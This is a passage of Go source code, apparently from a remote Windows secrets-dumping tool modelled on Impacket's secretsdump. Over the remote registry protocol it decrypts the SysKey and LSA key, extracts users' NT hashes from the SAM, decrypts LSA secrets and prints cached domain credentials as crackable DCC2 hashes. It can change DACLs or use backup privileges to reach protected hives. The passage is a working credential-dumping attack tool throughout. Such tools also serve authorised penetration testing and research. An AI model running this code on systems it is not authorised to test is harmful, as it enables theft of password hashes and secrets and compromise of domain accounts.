"F") 507 | if err != nil { 508 | log.Errorln(err) 509 | rpccon.CloseKeyHandle(hSubKey) 510 | return 511 | } 512 | 513 | rpccon.CloseKeyHandle(hSubKey) 514 | 515 | f := &domain_account_f{} 516 | err = f.unmarshal(fBytes) 517 | if err != nil { 518 | log.Errorln(err) 519 | rpccon.CloseKeyHandle(hSubKey) 520 | return 521 | } 522 | 523 | var encSysKey []byte 524 | var sysKeyIV []byte 525 | sysKey = make([]byte, 16) 526 | 527 | if f.Revision == 3 { 528 | // AES 529 | samAesData := sam_key_data_aes{} 530 | err = binary.Read(bytes.NewReader(f.Data), binary.LittleEndian, &samAesData) 531 | if err != nil { 532 | log.Errorln(err) 533 | rpccon.CloseKeyHandle(hSubKey) 534 | return 535 | } 536 | sysKeyIV = samAesData.Salt[:] 537 | encSysKey = samAesData.Data[:samAesData.DataLen] 538 | tmpSysKey, err = DecryptAESSysKey(BootKey, encSysKey, sysKeyIV) 539 | copy(sysKey, tmpSysKey) 540 | } else if f.Revision == 2 { 541 | // RC4 542 | samData := &sam_key_data{} 543 | err = binary.Read(bytes.NewReader(f.Data), binary.LittleEndian, samData) 544 | if err != nil { 545 | log.Errorln(err) 546 | rpccon.CloseKeyHandle(hSubKey) 547 | return 548 | } 549 | 550 | sysKeyIV = samData.Salt[:] 551 | // For RC4, also check the checksum so we should XOR 32 bytes instead of just 16 552 | encSysKey = append(samData.Key[:], samData.Checksum[:]...) 553 | tmpSysKey, err = DecryptRC4SysKey(BootKey, encSysKey, sysKeyIV) 554 | // Verify checksum 555 | input := []byte{} 556 | input = append(input, tmpSysKey[:16]...) 557 | input = append(input, s2...) 558 | input = append(input, tmpSysKey[:16]...) 559 | input = append(input, s1...) 560 | checksum := md5.Sum(input) 561 | if bytes.Compare(checksum[:], tmpSysKey[16:]) != 0 { 562 | err = fmt.Errorf("Syskey checksum failed. Could be that a Syskey startup password is in use.") 563 | log.Errorln(err) 564 | return 565 | } 566 | copy(sysKey, tmpSysKey[:16]) 567 | } else { 568 | err = fmt.Errorf("Unknown revision of DOMAIN_ACCOUNT_F") 569 | log.Errorln(err) 570 | return 571 | } 572 | 573 | log.Infof("SysKey: 0x%x\n", sysKey) 574 | return 575 | } 576 | 577 | func DecryptRC4SysKey(bootKey, encSysKey, sysKeyIV []byte) (sysKey []byte, err error) { 578 | // Building the decryption key for the Syskey 579 | input := []byte{} 580 | input = append(input, sysKeyIV...) 581 | input = append(input, s1...) 582 | input = append(input, bootKey...) 583 | input = append(input, s2...) 584 | rc4key := md5.Sum(input) 585 | log.Debugf("Syskey RC4 enc key: md5(%x %q %x %q)\n", sysKeyIV, s1, bootKey, s2) 586 | log.Debugf("Syskey RC4 enc key: %x\n", rc4key) 587 | c1, err := rc4.NewCipher(rc4key[:]) 588 | if err != nil { 589 | log.Errorln("Failed to init RC4 key") 590 | return 591 | } 592 | sysKey = make([]byte, 32) 593 | c1.XORKeyStream(sysKey, encSysKey) 594 | return 595 | } 596 | 597 | func DecryptAESSysKey(bootKey, encSysKey, sysKeyIV []byte) (sysKey []byte, err error) { 598 | sysKey = make([]byte, len(encSysKey)) 599 | a1, err := aes.NewCipher(bootKey) 600 | if err != nil { 601 | log.Errorln("Failed to init AES key") 602 | return 603 | } 604 | c1 := cipher.NewCBCDecrypter(a1, sysKeyIV) 605 | c1.CryptBlocks(sysKey, encSysKey) 606 | return 607 | } 608 | 609 | func getNTHash(rpccon *msrrp.RPCCon, base []byte, rids []string, modifyDacl bool) (result []UserCreds, err error) { 610 | result = make([]UserCreds, len(rids)) 611 | log.Debugf("Number users: %d\n", len(rids)) 612 | // Some entires have empty passwords or hash retrieval fails for some reason. 613 | // In those cases I skip to the next entry. I increment the ctr first thing 614 | // instead of at the end of the loop to make sure it happens 615 | 616 | // Determine OS version once 617 | osBuild, osVersion, isServer, err := GetOSVersionBuild(rpccon, base) 618 | if err != nil { 619 | log.Errorln(err) 620 | return 621 | } 622 | 623 | cntr := -1 624 | for _, ridStr := range rids { 625 | cntr += 1 626 | log.Debugf("Incrementing cntr to: %d\n", cntr) 627 | parts := strings.Split(ridStr, "\\") 628 | ridBytes, err := hex.DecodeString(parts[len(parts)-1]) 629 | if err != nil { 630 | log.Errorln(err) 631 | return nil, err 632 | } 633 | rid := binary.BigEndian.Uint32(ridBytes) 634 | result[cntr].RID = rid 635 | 636 | var hSubKey []byte 637 | if modifyDacl { 638 | hSubKey, err = rpccon.OpenSubKey(base, ridStr) 639 | } else { 640 | hSubKey, err = rpccon.OpenSubKeyExt(base, ridStr, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 641 | } 642 | if err != nil { 643 | log.Errorln(err) 644 | return nil, err 645 | } 646 | 647 | v, _, err := rpccon.QueryValue2(hSubKey, "V") 648 | if err != nil { 649 | log.Errorln(err) 650 | rpccon.CloseKeyHandle(hSubKey) 651 | return nil, err 652 | } 653 | rpccon.CloseKeyHandle(hSubKey) 654 | /* 655 | Information about the structure of the V value of 656 | SAM\SAM\Domain\Users\ is collected from multiple locations but most 657 | of the information is taken from http://www.beginningtoseethelight.org/ntsecurity/index.htm 658 | Some info is also taken from https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral 659 | 660 | The first 12 bytes are unknown. Next comes 12-byte blocks of 3 uint32 661 | where the first contain the relative offset, the second contains the 662 | length and the third is unknown. 663 | The relative offset is relative to 0xcc, so if the offset for the username 664 | would be 0xc0 the offset from beginning of V would be 0xcc+0xc0 665 | 666 | Some of the offsets for the 12-byte blocks: 667 | Address Information 668 | 0x0c Offset of the account name 669 | 0x10 Length of the account name 670 | 0x18 Offset of the complete account name 671 | 0x1c Length of the complete account name 672 | 0x24 Offset of the comment 673 | 0x28 Length of the comment 674 | 0x48 Offset of the homedir name 675 | 0x4c Length of the homedir name 676 | 0x60 Offset of the scriptpath 677 | 0x9c Offset of the LM Hash 678 | 0xa0 Length of the LM Hash 679 | 0xa8 Offset of the NT Hash 680 | 0xac Length of the NT Hash 681 | 0xc4 Number of hashes from history 682 | 683 | Get NTHash length: 684 | int(V[0xac] + V[0xad]*0x100) 685 | Get NTHash addr: 686 | int(V[0xa8] + V[0xa9]*0x100 + 0xcc) 687 | 688 | Info from Impacket's secretsdump.py (SAM_HASH_AES structure) 689 | For AES hashes, the NTHashAddr value will point to the beginning of a structure: 690 | PekID: 2 bytes 691 | Revision: 2 bytes 692 | DataOffset: 4 bytes 693 | Salt: 16 bytes 694 | Hash: 32 bytes 695 | 696 | So, add 8 bytes, read 16 byte salt, and then read additional 16 bytes 697 | hash. There are 32 bytes there but only first 16 bytes seems to be used 698 | in decryption. 699 | 700 | Info from Impacket's secretsdump.py (SAM_HASH structure) 701 | For RC4 hashes, the NTHashAddr value will point to the beginning of a structure: 702 | PekID: 2 bytes 703 | Revision: 2 bytes 704 | Hash: 16 bytes 705 | 706 | So, add 4 bytes to the offset and then read the 16 byte hash. 707 | 708 | There has been some changes in the NT Hashes between windows versions. 709 | Originally it was RC4 hashes but some time after Windows 10 it was changed 710 | to AES hashes. For new installations of Windows 10 after some patch 711 | (Win10 Anniversary update) it was only AES hashes, but if the system 712 | was upgraded the old hashes would be RC4 and new accounts would get AES 713 | hashes. So to figure out if it is RC4 or AES we check version of 714 | Windows and the length of the hash structure. 715 | */ 716 | 717 | offsetName := binary.LittleEndian.Uint32(v[0x0c:]) + 0xcc 718 | szName := binary.LittleEndian.Uint32(v[0x10:]) 719 | result[cntr].Username, err = encoder.FromUnicodeString(v[offsetName : offsetName+szName]) 720 | if err != nil { 721 | log.Errorln(err) 722 | continue 723 | } 724 | 725 | /* According to https://www.insecurity.be/blog/2018/01/21/retrieving-ntlm-hashes-and-what-changed-technical-writeup/ 726 | Windows systems before build 14393 (Windows 10 anniversary update) has RC4 encrypted hashes 727 | and systems after that build have AES encrypted hashes. 728 | 729 | Some corner cases: 730 | - Windows systems out there that where installed pre Windows v1607: RC4 encryption only. 731 | - Windows systems that where installed as pre Windows v1607 but updated later without password updates (net user Administrator 123456): RC4 encryption only 732 | - Windows systems that where installed as pre Windows v1607 and then updated and have updated one or more user passwords (net user Administrator 123456): Mixed RC4 (SysKey) and AES (Hash) encryption 733 | - Windows systems that where installed as Windows v1607 or newer: AES encryption only 734 | */ 735 | 736 | szNT := binary.LittleEndian.Uint32(v[0xac:]) 737 | offsetHashStruct := binary.LittleEndian.Uint32(v[0xa8:]) + 0xcc 738 | if szNT == 0 { 739 | continue 740 | } 741 | if osBuild < 14393 && (0x14 == szNT) { 742 | // PreWin10Anniversary update (RC4) 743 | szNT -= 4 // Hash length is reported as 20 bytes. 2+2+16 bytes for all members of the structure 744 | offsetNTHash := offsetHashStruct + 4 // Skipping first 4 bytes of structure 745 | result[cntr].AES = false 746 | result[cntr].Data = v[offsetNTHash : offsetNTHash+16] 747 | } else { 748 | afterAnniversary, err2 := IsWin10After1607(osBuild, osVersion) 749 | if err2 != nil { 750 | log.Errorln(err2) 751 | continue 752 | } 753 | if afterAnniversary { 754 | if 0x14 == szNT { 755 | // System upgraded but without password updates 756 | szNT -= 4 // Hash length is reported as 20 bytes. 2+2+16 bytes for all members of the structure 757 | offsetNTHash := offsetHashStruct + 4 // Skipping first 4 bytes of structure 758 | result[cntr].AES = false 759 | result[cntr].Data = v[offsetNTHash : offsetNTHash+16] 760 | } else if 0x38 == szNT { 761 | // AES Structure is 2+2+4+16+32 = 56 or 0x38 bytes for all members of the structure 762 | offsetIV := offsetHashStruct + 8 // Skipping first 8 bytes of AES Hash structure 763 | offsetNTHash := offsetHashStruct + 24 // The aes encrypted NT Hash begins after the 16 byte IV (8 + 16) 764 | result[cntr].AES = true 765 | result[cntr].Data = v[offsetNTHash : offsetNTHash+16] 766 | result[cntr].IV = v[offsetIV : offsetIV+16] 767 | } else if szNT == 0x18 { // Structure with empty hashes (2+2+4+16) 768 | result[cntr].AES = true 769 | result[cntr].Data = []byte{} 770 | } else if szNT == 0x4 { // Structure with empty hash for RC4 771 | // System upgraded but without passord updates and in this case, an empty password 772 | result[cntr].AES = false 773 | result[cntr].Data = []byte{} 774 | } else { 775 | //log.Warningf("NT Hash length for %s is 0x%x when after win10 Anniversary update is: %v which is unexpected\n", name, szNT, afterAnniversary) 776 | log.Warningf("NT Hash length for %x is 0x%x when after win10 Anniversary update is: %v which is unexpected\n", rid, szNT, afterAnniversary) 777 | } 778 | } else { 779 | if szNT == 0x4 { // Structure with empty hash for RC4 780 | result[cntr].AES = false 781 | result[cntr].Data = []byte{} 782 | } else { 783 | log.Warningf("Unknown Hash type for %x with length 0x%x with OS: %s\n", rid, szNT, osNameMap[GetOSVersion(osBuild, osVersion, isServer)]) 784 | } 785 | } 786 | } 787 | } 788 | return 789 | } 790 | 791 | func decryptLSAKey(rpccon *msrrp.RPCCon, base []byte, data []byte) (result []byte, err error) { 792 | _, err = getBootKey(rpccon, base) 793 | if err != nil { 794 | log.Errorln(err) 795 | return 796 | } 797 | var plaintext []byte 798 | if VistaStyle { 799 | // data contains a list of LSA Keys, so could be more than 1 in the list. 800 | lsaSecret := &lsa_secret{} 801 | lsaSecret.unmarshal(data) 802 | log.Debugf("LSA EncKeyId: %x, EncAlgorithm: %d\n", lsaSecret.EncKeyId, lsaSecret.EncAlgorithm) 803 | encryptedData := lsaSecret.EncryptedData 804 | tmpkey := SHA256(BootKey, encryptedData[:32], 0) 805 | plaintext, err2 := DecryptAES(tmpkey, encryptedData[32:], nil) 806 | if err2 != nil { 807 | log.Errorln(err2) 808 | err = err2 809 | return 810 | } 811 | lsaSecretBlob := &lsa_secret_blob{} 812 | lsaSecretBlob.unmarshal(plaintext) 813 | result = lsaSecretBlob.Secret[52:][:32] 814 | } else { 815 | // Seems to be for Windows XP 816 | // Untested code 817 | h := md5.New() 818 | h.Write(BootKey) 819 | for i := 0; i < 1000; i++ { 820 | h.Write(data[60:76]) 821 | } 822 | tmpkey := h.Sum(nil) 823 | c1, err2 := rc4.NewCipher(tmpkey[:]) 824 | if err2 != nil { 825 | err = err2 826 | log.Errorln("Failed to init RC4 key") 827 | return 828 | } 829 | plaintext = make([]byte, 48) 830 | c1.XORKeyStream(plaintext, data[12:60]) 831 | result = plaintext[0x10:0x20] 832 | } 833 | return 834 | } 835 | 836 | func getLSASecretKey(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (result []byte, err error) { 837 | if len(LSAKey) > 0 { 838 | return 839 | } 840 | /* 841 | Information from 842 | https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 843 | Before Windows Vista, there was only a single encryption key for LSA 844 | secrets that was stored in the registry entry 845 | Security\Policy\PolSecretEncryptionKey 846 | 847 | However, after Vista there was a change that allowed for multiple encryption 848 | keys such that LSA secrets could be encrypted with different keys. 849 | These encryption keys are stored in a list in the registry entry 850 | Security\Policy\PolEKList 851 | 852 | TODO Implement support for multiple LSA encryption keys 853 | For now this implementation only supports using a single encryption key. 854 | To know which key to use a check is performed to see what registry value 855 | is populated with a key. 856 | */ 857 | VistaStyle = true 858 | var data []byte 859 | log.Debugln("Decrypting LSA Key") 860 | var hSubKey []byte 861 | if modifyDacl { 862 | hSubKey, err = rpccon.OpenSubKey(base, `Security\Policy\PolEKList`) 863 | } else { 864 | hSubKey, err = rpccon.OpenSubKeyExt(base, `Security\Policy\PolEKList`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 865 | } 866 | if err != nil { 867 | if err == fmt.Errorf("ERROR_FILE_NOT_FOUND") { 868 | VistaStyle = false 869 | } else { 870 | log.Errorln(err) 871 | return 872 | } 873 | } 874 | data, _, err = rpccon.QueryValue2(hSubKey, "") 875 | if err != nil { 876 | log.Errorln(err) 877 | rpccon.CloseKeyHandle(hSubKey) 878 | return 879 | } 880 | rpccon.CloseKeyHandle(hSubKey) 881 | 882 | if !VistaStyle { 883 | if modifyDacl { 884 | hSubKey, err = rpccon.OpenSubKey(base, `Security\Policy\PolSecretEncryptionKey`) 885 | } else { 886 | hSubKey, err = rpccon.OpenSubKeyExt(base, `Security\Policy\PolSecretEncryptionKey`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 887 | } 888 | if err != nil { 889 | if err == fmt.Errorf("ERROR_FILE_NOT_FOUND") { 890 | log.Infoln("Could not find LSA Secret key") 891 | } else { 892 | log.Errorln(err) 893 | } 894 | return 895 | } 896 | data, _, err = rpccon.QueryValue2(hSubKey, "") 897 | if err != nil { 898 | log.Errorln(err) 899 | rpccon.CloseKeyHandle(hSubKey) 900 | return 901 | } 902 | rpccon.CloseKeyHandle(hSubKey) 903 | } 904 | if len(data) == 0 { 905 | err = fmt.Errorf("Failed to get LSA key") 906 | log.Errorln(err) 907 | return 908 | } 909 | 910 | result, err = decryptLSAKey(rpccon, base, data) 911 | if err != nil { 912 | log.Errorln(err) 913 | return 914 | } 915 | LSAKey = make([]byte, 32) 916 | copy(LSAKey, result) 917 | return 918 | } 919 | 920 | // Code inspired/partially stolen from Impacket's Secretsdump 921 | func GetLSASecrets(rpccon *msrrp.RPCCon, base []byte, history, modifyDacl bool) (secrets []printableLSASecret, err error) { 922 | secretsPath := `SECURITY\Policy\Secrets` 923 | var keys []string 924 | if modifyDacl { 925 | keys, err = rpccon.GetSubKeyNames(base, secretsPath) 926 | } else { 927 | keys, err = rpccon.GetSubKeyNamesExt(base, secretsPath, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 928 | } 929 | if err != nil { 930 | log.Errorln(err) 931 | return nil, err 932 | } 933 | 934 | if len(keys) == 0 { 935 | return 936 | } 937 | 938 | // GetLSASecretKey 939 | log.Debugln("Getting LSASecretKey") 940 | _, err = getLSASecretKey(rpccon, base, modifyDacl) 941 | if err != nil { 942 | log.Errorln(err) 943 | return 944 | } 945 | log.Debugf("LSA Secret key: %x\n", LSAKey) 946 | 947 | for _, key := range keys { 948 | if key == "NL$Control" { // Skip 949 | continue 950 | } 951 | log.Debugf("Looking into %s", key) 952 | /* The SECURITY\Policy\Secrets each contain a set of values where two 953 | of them are OldVal and CurrVal. OldVal seems to be the previously 954 | stored secret before it was updated. So it can be included if a history 955 | is desired. Otherwise CurrVal contains the current value of the secret.*/ 956 | valueTypeList := []string{"CurrVal"} 957 | if history { 958 | valueTypeList = append(valueTypeList, "OldVal") 959 | } 960 | var secret []byte 961 | for _, valueType := range valueTypeList { 962 | log.Debugf("Retrieving value: %s\\%s\\%s\n", secretsPath, key, valueType) 963 | var hSubKey []byte 964 | if modifyDacl { 965 | hSubKey, err = rpccon.OpenSubKey(base, fmt.Sprintf("%s\\%s\\%s", secretsPath, key, valueType)) 966 | } else { 967 | hSubKey, err = rpccon.OpenSubKeyExt(base, fmt.Sprintf("%s\\%s\\%s", secretsPath, key, valueType), msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 968 | } 969 | if err != nil { 970 | log.Errorln(err) 971 | return nil, err 972 | } 973 | 974 | value, _, err := rpccon.QueryValue2(hSubKey, "") 975 | if err != nil { 976 | log.Errorln(err) 977 | rpccon.CloseKeyHandle(hSubKey) 978 | continue 979 | } 980 | rpccon.CloseKeyHandle(hSubKey) 981 | 982 | if (len(value) != 0) && (value[0] == 0x0) { 983 | if VistaStyle { 984 | record := &lsa_secret{} 985 | record.unmarshal(value) 986 | tmpKey := SHA256(LSAKey, record.EncryptedData[:32], 0) 987 | plainText, err := DecryptAES(tmpKey, record.EncryptedData[32:], nil) 988 | if err != nil { 989 | log.Errorln(err) 990 | continue 991 | } 992 | record2 := &lsa_secret_blob{} 993 | record2.unmarshal(plainText) 994 | secret = record2.Secret 995 | } else { 996 | log.Warningln("Windows XP secrets are not supported") 997 | continue 998 | //TODO 999 | } 1000 | if valueType == "OldVal" { 1001 | key += "_history" 1002 | } 1003 | ps, err := parseSecret(rpccon, base, key, secret) 1004 | if err != nil { 1005 | log.Errorln(err) 1006 | continue 1007 | } else if ps == nil { 1008 | continue 1009 | } 1010 | secrets = append(secrets, *ps) 1011 | } 1012 | } 1013 | } 1014 | return 1015 | } 1016 | 1017 | func getNLKMSecretKey(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (result []byte, err error) { 1018 | if len(NLKMKey) > 0 { 1019 | return 1020 | } 1021 | 1022 | log.Debugln("Decrypting NL$KM") 1023 | var hSubKey []byte 1024 | if modifyDacl { 1025 | hSubKey, err = rpccon.OpenSubKey(base, `SECURITY\Policy\Secrets\NL$KM\CurrVal`) 1026 | } else { 1027 | hSubKey, err = rpccon.OpenSubKeyExt(base, `SECURITY\Policy\Secrets\NL$KM\CurrVal`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 1028 | } 1029 | if err != nil { 1030 | log.Errorln(err) 1031 | return 1032 | } 1033 | data, _, err := rpccon.QueryValue2(hSubKey, "") 1034 | if err != nil { 1035 | log.Errorln(err) 1036 | rpccon.CloseKeyHandle(hSubKey) 1037 | return 1038 | } 1039 | rpccon.CloseKeyHandle(hSubKey) 1040 | 1041 | if VistaStyle { 1042 | lsaSecret := &lsa_secret{} 1043 | lsaSecret.unmarshal(data) 1044 | tmpkey := SHA256(LSAKey, lsaSecret.EncryptedData[:32], 0) 1045 | var err2 error 1046 | result, err2 = DecryptAES(tmpkey, lsaSecret.EncryptedData[32:], nil) 1047 | if err2 != nil { 1048 | log.Errorln(err2) 1049 | err = err2 1050 | return 1051 | } 1052 | } else { 1053 | log.Errorln("Not yet implement how to decrypt NL$KM key when not VistaStyle") 1054 | return 1055 | } 1056 | 1057 | NLKMKey = make([]byte, 32) 1058 | copy(NLKMKey, result) 1059 | 1060 | return 1061 | } 1062 | 1063 | func GetCachedHashes(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (result []string, err error) { 1064 | baseKeyPath := `Security\Cache` 1065 | var names []string 1066 | var hSubKey []byte 1067 | if modifyDacl { 1068 | hSubKey, err = rpccon.OpenSubKey(base, baseKeyPath) 1069 | } else { 1070 | hSubKey, err = rpccon.OpenSubKeyExt(base, baseKeyPath, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 1071 | } 1072 | if err != nil { 1073 | log.Errorln(err) 1074 | return 1075 | } 1076 | defer rpccon.CloseKeyHandle(hSubKey) 1077 | 1078 | valueNames, err := rpccon.GetValueNames(hSubKey) 1079 | if err != nil { 1080 | log.Errorln(err) 1081 | return 1082 | } 1083 | 1084 | if len(valueNames) == 0 { 1085 | // No cache entries 1086 | return 1087 | } 1088 | foundIterCount := false 1089 | for _, name := range valueNames { 1090 | if name == "NL$Control" { 1091 | continue 1092 | } 1093 | if name == "NL$IterationCount" { 1094 | foundIterCount = true 1095 | continue 1096 | } 1097 | names = append(names, name) 1098 | } 1099 | iterationCount := 10240 1100 | if foundIterCount { 1101 | var tmpIterCount uint32 1102 | data, _, err := rpccon.QueryValue2(hSubKey, `NL$IterationCount`) 1103 | if err != nil { 1104 | log.Errorln(err) 1105 | return nil, err 1106 | } 1107 | tmpIterCount = binary.LittleEndian.Uint32(data) 1108 | if tmpIterCount > 10240 { 1109 | iterationCount = int(tmpIterCount & 0xfffffc00) 1110 | } else { 1111 | iterationCount = int(tmpIterCount * 1024) 1112 | } 1113 | } 1114 | 1115 | _, err = getLSASecretKey(rpccon, base, modifyDacl) 1116 | if err != nil { 1117 | log.Errorln(err) 1118 | return 1119 | } 1120 | _, err = getNLKMSecretKey(rpccon, base, modifyDacl) 1121 | if err != nil { 1122 | log.Errorln(err) 1123 | return 1124 | } 1125 | for _, name := range names { 1126 | log.Debugf("Looking into %s\n", name) 1127 | data, _, err := rpccon.QueryValue2(hSubKey, name) 1128 | if err != nil { 1129 | log.Errorln(err) 1130 | return nil, err 1131 | } 1132 | 1133 | // NL_RECORD 1134 | nl_record := &nl_record{} 1135 | err = nl_record.unmarshal(data) 1136 | if err != nil { 1137 | log.Errorln(err) 1138 | continue 1139 | } 1140 | nilIV := make([]byte, 16) 1141 | var plaintext []byte 1142 | var answer string 1143 | if bytes.Compare(nl_record.IV[:], nilIV) != 0 { 1144 | if (nl_record.Flags & 1) == 1 { 1145 | // Encrypted 1146 | if VistaStyle { 1147 | plaintext, err = DecryptAES(NLKMKey[16:32], nl_record.EncryptedData, nl_record.IV[:]) 1148 | if err != nil { 1149 | log.Errorln(err) 1150 | continue 1151 | } 1152 | } else { 1153 | log.Errorln("Not yet implement how to decrypt DCC2Cache when not VistaStyle") 1154 | continue 1155 | } 1156 | } else { 1157 | log.Noticef("Not sure how to handle non-encrypted record: %s\n", name) 1158 | continue 1159 | } 1160 | encHash := plaintext[:0x10] 1161 | plaintext = plaintext[0x48:] 1162 | userName, err := encoder.FromUnicodeString(plaintext[:nl_record.UserLength]) 1163 | if err != nil { 1164 | log.Errorln(err) 1165 | continue 1166 | } 1167 | plaintext = plaintext[int(pad64(uint64(nl_record.UserLength)))+int(pad64(uint64(nl_record.DomainNameLength))):] 1168 | domainLong, err := encoder.FromUnicodeString(plaintext[:int(pad64(uint64(nl_record.DnsDomainNameLength)))]) 1169 | if err != nil { 1170 | log.Errorln(err) 1171 | continue 1172 | } 1173 | 1174 | if VistaStyle { 1175 | answer = fmt.Sprintf("%s/%s:$DCC2$%d#%s#%x", domainLong, userName, iterationCount, userName, encHash) 1176 | } else { 1177 | answer = fmt.Sprintf("%s/%s:%x:%s", domainLong, userName, encHash, userName) 1178 | } 1179 | result = append(result, answer) 1180 | } else { 1181 | //golog.Debugf("Unhandled case with NIL IV and likely empty cache record for DCC2Cache %s\n", name) 1182 | continue 1183 | } 1184 | } 1185 | return 1186 | } 1187 | 1188 | func GetOSVersionBuild(rpccon *msrrp.RPCCon, base []byte) (build int, version float64, server bool, err error) { 1189 | hSubKey, err := rpccon.OpenSubKey(base, `SOFTWARE\Microsoft\Windows NT\CurrentVersion`) 1190 | if err != nil { 1191 | log.Noticef("Failed to open registry key CurrentVersion with error: %v\n", err) 1192 | return 1193 | } 1194 | defer func(h []byte) { 1195 | rpccon.CloseKeyHandle(h) 1196 | }(hSubKey) 1197 | 1198 | value, err := rpccon.QueryValueString(hSubKey, "CurrentBuild") 1199 | if err != nil { 1200 | log.Errorln(err) 1201 | return 1202 | } 1203 | buildStr := string(value) 1204 | build, err = strconv.Atoi(buildStr) 1205 | if err != nil { 1206 | log.Errorln(err) 1207 | return 1208 | } 1209 | 1210 | value, err = rpccon.QueryValueString(hSubKey, "CurrentVersion") 1211 | if err != nil { 1212 | log.Errorln(err) 1213 | return 1214 | } 1215 | versionStr := string(value) 1216 | version, err = strconv.ParseFloat(versionStr, 32) 1217 | if err != nil { 1218 | log.Errorf("Failed to get CurrentVersion with error: %v\n", err) 1219 | return 1220 | } 1221 | 1222 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\ProductOptions`) 1223 | if err != nil { 1224 | log.Noticef("Failed to open registry key ProductOptions with error: %v\n", err) 1225 | return 1226 | } 1227 | defer func(h []byte) { 1228 | rpccon.CloseKeyHandle(h) 1229 | }(hSubKey) 1230 | 1231 | value, err = rpccon.QueryValueString(hSubKey, "ProductType") 1232 | if err != nil { 1233 | log.Errorln(err) 1234 | return 1235 | } 1236 | 1237 | if strings.Compare(value, "ServerNT") == 0 { 1238 | server = true 1239 | } 1240 | 1241 | return 1242 | } 1243 | 1244 | func getHostnameAndDomain(rpccon *msrrp.RPCCon, base []byte) (hostname, domain string, err error) { 1245 | hSubKey, err := rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Services\Tcpip\Parameters`) 1246 | if err != nil { 1247 | log.Noticef("Failed to open registry key Parameters with error: %v\n", err) 1248 | return 1249 | } 1250 | defer func(h []byte) { 1251 | rpccon.CloseKeyHandle(h) 1252 | }(hSubKey) 1253 | 1254 | domain, err = rpccon.QueryValueString(hSubKey, "Domain") 1255 | if err != nil { 1256 | log.Errorln(err) 1257 | return 1258 | } 1259 | 1260 | hostname, err = rpccon.QueryValueString(hSubKey, "Hostname") 1261 | if err != nil { 1262 | log.Errorln(err) 1263 | return 1264 | } 1265 | return 1266 | } 1267 | --------------------------------------------------------------------------------